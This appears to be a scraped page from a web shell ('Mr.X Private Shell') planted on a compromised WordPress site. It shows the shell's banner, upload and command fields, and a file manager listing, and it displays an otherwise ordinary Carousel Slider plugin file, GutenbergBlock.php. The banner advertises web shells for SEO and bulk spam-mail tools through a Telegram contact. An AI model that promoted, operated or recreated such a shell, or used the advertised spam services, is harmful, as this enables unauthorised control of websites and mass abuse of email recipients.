__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace CarouselSlider\Admin;

use CarouselSlider\Helper;
use WP_Post;

defined( 'ABSPATH' ) || exit;

/**
 * GutenbergBlock class
 * The admin gutenberg editor functionality specific class of the plugin
 *
 * @package CarouselSlider/Admin
 */
class GutenbergBlock {
	/**
	 * The instance of the class
	 *
	 * @var self
	 */
	protected static $instance;

	/**
	 * Ensures only one instance of this class is loaded or can be loaded.
	 *
	 * @return self
	 */
	public static function init() {
		if ( is_null( self::$instance ) ) {
			self::$instance = new self();

			add_action( 'init', array( self::$instance, 'gutenberg_block' ) );
		}

		return self::$instance;
	}

	/**
	 * Register gutenberg block
	 */
	public function gutenberg_block() {
		if ( ! function_exists( 'register_block_type' ) ) {
			return;
		}
		wp_register_script(
			'carousel-slider-gutenberg-block',
			CAROUSEL_SLIDER_ASSETS . '/js/admin-gutenberg-block.js',
			[ 'wp-blocks', 'wp-components', 'wp-block-editor' ],
			CAROUSEL_SLIDER_VERSION,
			true
		);
		wp_register_style(
			'carousel-slider-gutenberg-style',
			CAROUSEL_SLIDER_ASSETS . '/css/admin-gutenberg-block.css',
			[ 'wp-edit-blocks' ],
			CAROUSEL_SLIDER_VERSION
		);
		wp_localize_script(
			'carousel-slider-gutenberg-block',
			'i18nCarouselSliderBlock',
			$this->block_localize_data()
		);

		register_block_type(
			'carousel-slider/slider',
			[
				'editor_script' => 'carousel-slider-gutenberg-block',
				'editor_style'  => 'carousel-slider-gutenberg-style',
			]
		);
	}

	/**
	 * Get localize data
	 *
	 * @return array
	 */
	private function block_localize_data(): array {
		$_sliders = Helper::get_sliders();
		$sliders  = [
			[
				'value' => '',
				'label' => __( 'Select a Slider', 'carousel-slider' ),
			],
		];
		foreach ( $_sliders as $form ) {
			if ( ! $form instanceof WP_Post ) {
				continue;
			}
			$sliders[] = [
				'value' => absint( $form->ID ),
				'label' => esc_attr( $form->post_title ),
			];
		}

		return [
			'sliders'       => $sliders,
			'site_url'      => site_url(),
			'block_logo'    => CAROUSEL_SLIDER_ASSETS . '/static-images/logo.svg',
			'block_title'   => __( 'Carousel Slider', 'carousel-slider' ),
			'select_slider' => __( 'Select a Slider', 'carousel-slider' ),
		];
	}
}

Filemanager

Name Type Size Permission Actions
Admin.php File 11.88 KB 0775
Feedback.php File 13.73 KB 0775
GutenbergBlock.php File 2.23 KB 0775
MetaBox.php File 8.71 KB 0775
MetaBoxConfig.php File 19.69 KB 0775
PreviewMetaBox.php File 3.3 KB 0775
Setting.php File 6.83 KB 0775
Upgrader.php File 5.8 KB 0775
Filemanager